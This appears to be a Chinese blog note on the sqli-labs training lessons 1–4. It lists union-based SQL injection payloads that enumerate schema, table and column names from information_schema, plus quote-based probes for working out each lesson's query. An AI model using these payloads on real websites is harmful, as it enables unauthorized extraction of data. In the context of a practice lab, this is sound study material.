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" alt="" />
上面的字段信息看起来有点复杂,其实就是下面的字段信息,目前还没找到好的办法分离,能力有限,有待改进,只能通过一个一个列查询,将其分离
aaarticlea/png;base64,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" alt="" />
经验小结:
在使用语句查询单的时候
.UNION SELECT ,,group_concat(schema_name) from information_schema.schemata查询到的是该服务器的所有数据库的库名 .UNION SELECT ,,table_name from information_schema. tables where table_schema=ox库名8进制 查询到的只是当前库默认的第一个表 .UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='表名'查询到得到是所有数据库的所有列名,加上and TABLE_SCHEMA='当前数据库名'就可以查询当前库的当前表名
less1-4都可以使用上面的联合查询法
less-1
输入id=1正常,输入id=1'报错,输入id=1''正常 --> 即可判断sql语句为SELECT * FROM users WHERE id='$id'
less-2
id=1'报错,id=1''报错,id=1 and 1=2 不报错不回显 -->即可判断sql语句为SELECT * FROM user WHERE id=$id
less-3
id=1'报错,id=1''不报错,id=1') %23不报错 -->即可判断sql语句为SELECT * FROM users WHERE id=('$id')
后面的用法都相同
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